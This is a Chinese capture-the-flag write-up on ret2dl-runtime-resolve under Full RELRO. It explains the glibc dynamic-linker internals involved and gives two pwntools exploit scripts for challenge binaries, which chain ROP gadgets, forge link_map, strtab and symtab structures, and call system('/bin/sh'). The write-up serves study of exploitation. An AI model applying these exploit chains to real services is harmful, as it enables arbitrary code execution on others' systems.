dl-runtime-resolve重温
196082 慢慢好起来

前言

在先前其实我已经写过一篇ret2dl-runtime-resolve了。不过在那篇文章中并没有提到当RELRO的等级为FULL的情况下该如何进行利用方法。又因为这类题目一般来说就是模板题目的缘故所以我也就一直没有放在心上,直到这一次巅峰极客遇到了这样一道题目。事先需要提到的是,这道题其实是具有更简单的解题方法的,那就是将got表中read的函数地址写到bss中,随后修改便宜直接调用syscall即可。不过既然取名叫link_map也导致我头铁到一直尝试_dl_runtime_resolve的方式去解决,所以后续的题目都没看。

因为内核玩的比较多,所以下来看了那一道内核题,题目给的驱动是没有漏洞的,但是因为没有加任何锁的缘故并且内核版本为5.10.x所以可以直接使用堆占位技术直接造成UAF,还算是比较简单,所以不会单独写文章进行复现。

利用原理

Full和Partial的区别

首先最直接的区别就是在Full的情况下got表是不可写的,并且所有符号的在在开始时就会被解析,.got.plt段会被完全初始化为目标函数的最终地址。这也就导致link_map_dl_runtime_resolve不会被加载。所以首先需要的就是泄漏出link_map_dl_runtime_resolve函数。

利用的必要条件

一、栈溢出

二、存在一个任意地址读取并且能写到任意地址

其实有了如上条件之后依旧可以选择的更简单的方式就是读取got表中read函数的地址,并且进行partial write使其最终指向syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
LOAD:0000000000600E10 0C 00 00 00 00 00 00 00 B0 04+Elf64_Dyn <0Ch, 4004B0h>                ; DT_INIT
LOAD:0000000000600E20 0D 00 00 00 00 00 00 00 F4 07+Elf64_Dyn <0Dh, 4007F4h> ; DT_FINI
LOAD:0000000000600E30 19 00 00 00 00 00 00 00 E8 0D+Elf64_Dyn <19h, 600DE8h> ; DT_INIT_ARRAY
LOAD:0000000000600E40 1B 00 00 00 00 00 00 00 08 00+Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
LOAD:0000000000600E50 1A 00 00 00 00 00 00 00 F0 0D+Elf64_Dyn <1Ah, 600DF0h> ; DT_FINI_ARRAY
LOAD:0000000000600E60 1C 00 00 00 00 00 00 00 08 00+Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
LOAD:0000000000600E70 F5 FE FF 6F 00 00 00 00 98 02+Elf64_Dyn <6FFFFEF5h, 400298h> ; DT_GNU_HASH
LOAD:0000000000600E80 05 00 00 00 00 00 00 00 78 03+Elf64_Dyn <5, 400378h> ; DT_STRTAB
LOAD:0000000000600E90 06 00 00 00 00 00 00 00 D0 02+Elf64_Dyn <6, 4002D0h> ; DT_SYMTAB
LOAD:0000000000600EA0 0A 00 00 00 00 00 00 00 64 00+Elf64_Dyn <0Ah, 64h> ; DT_STRSZ
LOAD:0000000000600EB0 0B 00 00 00 00 00 00 00 18 00+Elf64_Dyn <0Bh, 18h> ; DT_SYMENT
LOAD:0000000000600EC0 15 00 00 00 00 00 00 00 00 00+Elf64_Dyn <15h, 0> ; DT_DEBUG
LOAD:0000000000600ED0 03 00 00 00 00 00 00 00 C0 0F+Elf64_Dyn <3, 600FC0h> ; DT_PLTGOT
LOAD:0000000000600EE0 07 00 00 00 00 00 00 00 20 04+Elf64_Dyn <7, 400420h> ; DT_RELA
LOAD:0000000000600EF0 08 00 00 00 00 00 00 00 90 00+Elf64_Dyn <8, 90h> ; DT_RELASZ
LOAD:0000000000600F00 09 00 00 00 00 00 00 00 18 00+Elf64_Dyn <9, 18h> ; DT_RELAENT
LOAD:0000000000600F10 18 00 00 00 00 00 00 00 00 00+Elf64_Dyn <18h, 0> ; DT_BIND_NOW
LOAD:0000000000600F20 FB FF FF 6F 00 00 00 00 01 00+Elf64_Dyn <6FFFFFFBh, 1> ; DT_FLAGS_1
LOAD:0000000000600F30 FE FF FF 6F 00 00 00 00 F0 03+Elf64_Dyn <6FFFFFFEh, 4003F0h> ; DT_VERNEED
LOAD:0000000000600F40 FF FF FF 6F 00 00 00 00 01 00+Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000600F50 F0 FF FF 6F 00 00 00 00 DC 03+Elf64_Dyn <6FFFFFF0h, 4003DCh> ; DT_VERSYM
LOAD:0000000000600F60 00 00 00 00 00 00 00 00 00 00+Elf64_Dyn <0> ; DT_NULL

在入口处存在一个.dynmic叫做DT_DEBUG,由调试器使用。

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

这里的d_ptr位置只想的是r_debug结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct r_debug
{
/* Version number for this protocol. It should be greater than 0. */
int r_version;

struct link_map *r_map; /* Head of the chain of loaded objects. */

/* This is the address of a function internal to the run-time linker,
that will always be called when the linker begins to map in a
library or unmap it, and again when the mapping change is complete.
The debugger can set a breakpoint at this address if it wants to
notice shared object mapping changes. */
ElfW(Addr) r_brk;
enum
{
/* This state value describes the mapping change taking place when
the `r_brk' address is called. */
RT_CONSISTENT, /* Mapping change is complete. */
RT_ADD, /* Beginning to add a new object. */
RT_DELETE /* Beginning to remove an object mapping. */
} r_state;

ElfW(Addr) r_ldbase; /* Base address the linker is loaded at. */
};

可以看到中间的r_map就是指向link_map的地址了。

获得_dl_runtime_resolve

1
2
3
4
5
6
7
8
9
10
11
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */

ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};

可以看出来link_map其实是一个双向链表的形式,而且其中存在一个相当有用的成员l_info。而其中的DT_PLTGOTd_tag存放的是got表的地址,那么可以经过多次的l_next的查找得到libc的got表地址进而获得_dl_runtime_resolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> p/x *((struct link_map*)0x7fd64bb592e0)->l_next->l_next->l_info[3]
$13 = {
d_tag = 0x3,
d_un = {
d_val = 0x7fd64bb05000,
d_ptr = 0x7fd64bb05000
}
}
pwndbg> telescope 0x7fd64bb05000
00:0000│ 0x7fd64bb05000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7fd64bb05008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7fd64bb1c160 —▸ 0x7fd64b8ec000 ◂— 0x3010102464c457f
02:0010│ 0x7fd64bb05010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7fd64bb33c60 (_dl_runtime_resolve_xsave) ◂— endbr64
03:0018│ 0x7fd64bb05018 (*ABS*@got.plt) —▸ 0x7fd64ba89b20 (__strnlen_avx2) ◂— endbr64
04:0020│ 0x7fd64bb05020 (*ABS*@got.plt) —▸ 0x7fd64ba85750 (__rawmemchr_avx2) ◂— endbr64
05:0028│ 0x7fd64bb05028 (realloc@got.plt) —▸ 0x7fd64b914030 ◂— endbr64
06:0030│ 0x7fd64bb05030 (*ABS*@got.plt) —▸ 0x7fd64ba87970 (__strncasecmp_avx) ◂— endbr64
07:0038│ 0x7fd64bb05038 (_dl_exception_create@got.plt) —▸ 0x7fd64b914050 ◂— endbr64

可以看到_dl_runtime_resolve_xsave函数就在偏移为0x10的位置了。

例题

题目分析

1
2
3
4
5
6
7
8
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

sub_40071B();
read(0, buf, 0x100uLL);
return 0LL;
}

题目的代码很简单,main函数就只有这几行代码,并且没有任何输出函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall sub_400606(unsigned int a1, int a2, int a3)
{
__int64 result; // rax
__int64 v4; // [rsp+14h] [rbp-8h]

v4 = *(_QWORD *)(qword_601040 + (int)a1);
qword_601040 = v4;
result = a1;
dword_601048 = a1;
if ( a2 == 1 )
{
result = v4;
qword_601028[a3] = v4;
}
else if ( !a2 )
{
result = v4;
qword_601020[a3] = v4;
}
return result;
}

这一段函数则是刚好满足第二个函数,能够实现任意地址读取之后写入到任意地址。

exp

因为前面已经提到了利用原理,这里就不多赘述直接上exp吧。

因为我的exp是边打边写的,所以写得像一坨shit所以我在每一步都加了注释方便理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
from pwn import *

elf = ELF('./ezzzz')
r = process('./ezzzz')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

pop_rdi = 0x00000000004007e3
pop_rsi_r15 = 0x00000000004007e1
bss = 0x601040
read_plt = elf.plt['read']
main_addr = 0x400740

gadget_for_read = 0x400606
gadget_for_write = 0x40067C
gadget_csu = 0x4007DA

# 构造成read一次之后返回到main
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

# 在固定位置写上经过csu之后需要跳转的函数位置
r.sendline(flat(bss + 0x10, gadget_for_read, 0xBEEFDEAD))
sleep(0.5)

# 通过csu调用到gadget_for_read,目的是将BEEDDEAD读取到0x601030
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8, 1,
1, 0, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

# 一样的为后续做准备,这里将0x601050和0x601040的指设置为(0x600EC0 + 0x8)也就是DT_DEBUG
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x600EC0 + 0x8, gadget_for_read, 0x600EC0 + 0x8))
sleep(0.5)

# 这里就是读取DT_DEBUG中的d_ptr的值,并写到0x601040的位置
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
3, 1, 0, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

bss = bss+0x10

# 设置a1为8,读取r_debug中的d_val值(即为link_map)并存放在0x601040位置
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x601028, gadget_for_read, 0x600EC0 + 0x8))
sleep(0.5)
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
3, 1, 8, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

# 设置a1位-0x54680 + 8,获得link_map->l_next->l_next->l_info[3]的值(即为libc的got表地址)并存放在0x601040的位置
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x601028, gadget_for_read, 0x600EC0 + 0x8))
sleep(0.5)
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
3, 1, -0x54680 + 8, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

# 设置a1为0x10,获得_dl_runtime_resolve函数地址,并存放在0x601fd0位置
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x601028, gadget_for_read, 0x600EC0 + 0x8))
sleep(0.5)
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
501, 1, 0x10, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)


bss = bss - 0x10

# 这里又一次读取了一下DT_DEBUG + 8的内容
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x600EC0 + 0x8, gadget_for_read, 0x600EC0 + 0x8))
sleep(0.5)
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
3, 1, 0, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

bss = bss+0x10

# 这里是向0x601020位置写入link_map地址
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x601028, gadget_for_read, 0x600EC0 + 0x8))
sleep(0.5)
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
0, 0, 8, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

# 这一步是修改link_map的dynrel指针指向bss段
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x601028, gadget_for_write, 0x600EC0 + 0x8))
sleep(0.5)
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
bss+0x300, 0x1f, -1, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

# 在bss段的对应位置写上fake_dynrel
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15,
bss+0x300, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0, bss+0x310).ljust(0x20,
b'\x00')+b'/bin/sh\x00')
sleep(0.5)

# 在fake_dynrel结构体的偏移为0x8的位置只想的是fake_rel的地址,所以还需要在这里伪造
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15,
bss+0x310, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(bss+0x700, 7, 0))
sleep(0.5)

# 写入fake strtab和/bin/sh
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15,
bss+0x30, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0, bss+0x40, b"system\x00").ljust(0x50,
b'\x00')+b'/bin/sh\x00')
sleep(0.5)

# 覆盖link_map中strtab指针的地址
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
bss+0x30, 0xd, -1, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

# 写入fake_symtab
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15,
bss+0x100, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0, elf.got['read']-8).ljust(0x50, b'\x00')+b'/bin/sh\x00')
sleep(0.5)

# 覆盖link_map中的symtab指针的值
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
bss+0x100, 0xe, -1, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

bss = bss - 0x10

# 读取link_map地址到0x601040位置
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x600EC0 + 0x8, gadget_for_read, 0x600EC0 + 0x8))
sleep(0.5)
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
3, 1, 0, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

bss = bss+0x10

# 写入link_map地址,实现栈为_dl_runtime_resolve(<-rsp)=>link_map=>0 并且此时rip为ret
payload = flat(b'a'*0x18, pop_rdi, 0, pop_rsi_r15, bss, 0, read_plt, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)
r.sendline(flat(0x601028, gadget_for_read, 0x600EC0 + 0x8))
sleep(0.5)
payload = flat(b'a'*0x18, gadget_csu, 0, 1, bss + 8,
503, 0, 8, 0x4007C0, b'a'*0x8*7, main_addr)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
sleep(0.5)

# 通过栈迁移,顺利执行dl-runtime-resolve
payload = flat(b'a'*0x10, 0x601fc8, pop_rdi, bss+0x100+0x50, 0x400772)

gdb.attach(r, 'directory ./glibc-2.35/elf')
r.sendline(payload)

r.interactive()

重点:与Partial利用方式的区别

Partial利用方式重谈

( 在下面讨论老版本时,默认只存在栈溢出,不存在上述题目中的gadget )

在以前的文章,在64位的partial保护中我写的非常粗糙,所以在这里也趁此机会详细谈一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL])
+ reloc_offset (pltgot, reloc_arg));
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

... ...
}

首先则是关于_dl_fixup函数的重新分析,通过字符串进行查找对应函数时我们需要进入到底这条if语句

1
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)

而最终真正找到函数地址的函数其实是_dl_lookup_symbol_x函数。然而其中存在一条调用关系是do_lookup_x=>check_match

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
static const ElfW(Sym) *
check_match (const char *const undef_name,
const ElfW(Sym) *const ref,
const struct r_found_version *const version,
const int flags,
const int type_class,
const ElfW(Sym) *const sym,
const Elf_Symndx symidx,
const char *const strtab,
const struct link_map *const map,
const ElfW(Sym) **const versioned_sym,
int *const num_versions)
{
unsigned int stt = ELFW(ST_TYPE) (sym->st_info);
assert (ELF_RTYPE_CLASS_PLT == 1);
if (__glibc_unlikely ((sym->st_value == 0 /* No value. */
&& sym->st_shndx != SHN_ABS
&& stt != STT_TLS)
|| elf_machine_sym_no_match (sym)
|| (type_class & (sym->st_shndx == SHN_UNDEF))))
return NULL;

/* Ignore all but STT_NOTYPE, STT_OBJECT, STT_FUNC,
STT_COMMON, STT_TLS, and STT_GNU_IFUNC since these are no
code/data definitions. */
#define ALLOWED_STT \
((1 << STT_NOTYPE) | (1 << STT_OBJECT) | (1 << STT_FUNC) \
| (1 << STT_COMMON) | (1 << STT_TLS) | (1 << STT_GNU_IFUNC))
if (__glibc_unlikely (((1 << stt) & ALLOWED_STT) == 0))
return NULL;

if (sym != ref && strcmp (strtab + sym->st_name, undef_name))
/* Not the symbol we are looking for. */
return NULL;

const ElfW(Half) *verstab = map->l_versyms;
if (version != NULL)
{
if (__glibc_unlikely (verstab == NULL))
{
assert (version->filename == NULL
|| ! _dl_name_match_p (version->filename, map));

/* Otherwise we accept the symbol. */
}
else
{
/* We can match the version information or use the
default one if it is not hidden. */
ElfW(Half) ndx = verstab[symidx] & 0x7fff;
if ((map->l_versions[ndx].hash != version->hash
|| strcmp (map->l_versions[ndx].name, version->name))
&& (version->hidden || map->l_versions[ndx].hash
|| (verstab[symidx] & 0x8000)))
/* It's not the version we want. */
return NULL;
}
}
else
{
if (verstab != NULL)
{
if ((verstab[symidx] & 0x7fff)
>= ((flags & DL_LOOKUP_RETURN_NEWEST) ? 2 : 3))
{
/* Don't accept hidden symbols. */
if ((verstab[symidx] & 0x8000) == 0
&& (*num_versions)++ == 0)
/* No version so far. */
*versioned_sym = sym;

return NULL;
}
}
}

/* There cannot be another entry for this symbol so stop here. */
return sym;
}

而在check_match函数中通过这条if (version != NULL)语句又分为了两条分支,肉眼可见的是上面的分支是较为严格的一条,而下面的则是较为简单的一条。不过显而易见的是这条分支的走向是由version变量决定的。

1
2
3
4
5
6
7
8
9
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

version的由来就是上面的这段代码赋予的,所以如果我们可以控制

1
l->l_info[VERSYMIDX (DT_VERSYM)] == NULL

或者可以控制ndx都是可以解决的。

首先思考第二种方式,首先则是可以看到这里ndx中的计算方式ELFW(R_SYM) (reloc->r_info)和前面获取sym时是同一种运算方式。所以这一算式中的各个参数我们是优先保证sym的正确性的。不过DT_SYMTAB所处的段和DT_VERSYM所处的段是不一样的,这也是我们能够修改这里的依据之一,另一个依据则是&l->l_versions[0]的内容是NULL。所以我们只需要让他为NULL即可。

DT_VERSYM节的位置其实就是.gnu.version节的位置,所以首先通过readelf查看一下节的位置

1
2
3
4
Version symbols section '.gnu.version' contains 7 entries:
Addr: 0x00000000004003dc Offset: 0x0003dc Link: 5 (.dynsym)
000: 0 (*local*) 0 (*local*) 2 (GLIBC_2.2.5) 2 (GLIBC_2.2.5)
004: 3 (GLIBC_2.7) 2 (GLIBC_2.2.5) 2 (GLIBC_2.2.5)

随后看一下程序在运行时的内存布局

1
2
3
4
5
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /ctf/work/download/todo/ezzzz
0x600000 0x601000 r--p 1000 0 /ctf/work/download/todo/ezzzz
0x601000 0x602000 rw-p 1000 1000 /ctf/work/download/todo/ezzzz

可以看到DT_VERSYM所处的位置就是第一页中。

而在linux存在这样一种分页机制,如果当前页的使用不到0x1000其实也会返回一页,所以在没有使用完的情况下,页内可能存在空白数据也就是\x00。而这个段的结束位置则在.eh_frame可以看到地址为0000000000400860,那么当这个结束地址减去.gnu.version的地址则表示所取的ndx的偏移到0x400860 ~ 0x401000之间到最小值。

在x64和x32上ElfW(Half)的结构都是2个字节。所以上述的最小偏移是:(0x400860-0x4003dc) / sizeof(ElfW(Half)) = 0x242

而我们需要把伪造的内容放到bss段上,随后计算最大偏移则是根据sym的获取进行计算(0x602000-0x601000) /sizeof (Elf64_Sym) = 0xaa。最终得到0xaa < 0x242所以也就导致无法在满足ndx的同时拿到伪造的sym结构。**(不过32位是可以的,只需要在bss靠后的位置写sym结构体即可)**。

那么接着思考第一种方式,在只有栈溢出的情况下我们无法直接泄漏或修改link_map结构体中的内容,那么唯一可行的方法就是进行栈迁移在bss中伪造link_map,但是如果是走第一个分支就会出现一种情况了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
lookup_t
_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
const ElfW(Sym) **ref,
struct r_scope_elem *symbol_scope[],
const struct r_found_version *version,
int type_class, int flags, struct link_map *skip_map)
{
const unsigned int new_hash = _dl_new_hash (undef_name);
unsigned long int old_hash = 0xffffffff;
struct sym_val current_value = { NULL, NULL };
struct r_scope_elem **scope = symbol_scope;

bump_num_relocations ();

/* DL_LOOKUP_RETURN_NEWEST does not make sense for versioned
lookups. */
assert (version == NULL || !(flags & DL_LOOKUP_RETURN_NEWEST));

size_t i = 0;
if (__glibc_unlikely (skip_map != NULL))
/* Search the relevant loaded objects for a definition. */
while ((*scope)->r_list[i] != skip_map)
++i;

/* Search the relevant loaded objects for a definition. */
for (size_t start = i; *scope != NULL; start = 0, ++scope)
if (do_lookup_x (undef_name, new_hash, &old_hash, *ref,
&current_value, *scope, start, version, flags,
skip_map, type_class, undef_map) != 0)
break;
... ...
}

_dl_lookup_symbol_x函数中搜索的方法是根据scope这个范围搜索的,而这个范围是通过l->l_scope获取的,所以如果我们在没有任何地址泄漏的情况下要想伪造l_scope是不现实的。那么唯一的方法是什么呢?

当然是走else语句了。

1
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));

这里直接返回的是link_map->l_addr + sym->d_val

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

r = process('./ret2dlsolve_64')
elf = ELF('./ret2dlsolve_64')
libc = ELF('./libc.so.6')

pop_rdi = 0x00000000004005c3
pop_rsi_r15 = 0x00000000004005c1
read_plt = elf.plt['read']
read_got = elf.got['read']
read_load_plt = 0x4003f6
bss = elf.bss()

l_addr = libc.sym['system'] - libc.sym['read']

payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(0) + \
p64(pop_rsi_r15)+p64(bss+0x100)+p64(0) + \
p64(read_plt)+p64(elf.symbols['fun'])
r.sendline(payload)

dynstr_addr = 0x400318 # str table
fake_link_map_addr = bss+0x100
r_offset = fake_link_map_addr + l_addr * -1 - 8
l_addr = l_addr & (2**64-1)
fake_strtab = p64(0)+p64(dynstr_addr)
fake_strtab_addr = fake_link_map_addr+0x8

fake_symtab = p64(0)+p64(read_got-0x8)
fake_symtab_addr = fake_link_map_addr+0x18

fake_dynrel_addr = fake_link_map_addr+0x28
fake_rel_addr = fake_link_map_addr+0x38
fake_dynrel = p64(0)+p64(fake_rel_addr)
fake_rel = p64(r_offset)+p64(0x7)+p64(0)

fake_link_map = p64(l_addr)+fake_strtab+fake_symtab+fake_dynrel+fake_rel
fake_link_map = fake_link_map.ljust(0x68, b'\x00')
fake_link_map += p64(fake_strtab_addr)+p64(fake_symtab_addr)
fake_link_map = fake_link_map.ljust(0xf8,b'\x00')+p64(fake_dynrel_addr)
fake_link_map = fake_link_map.ljust(0x100,b'\x00')+b'/bin/sh'
r.sendline(fake_link_map)

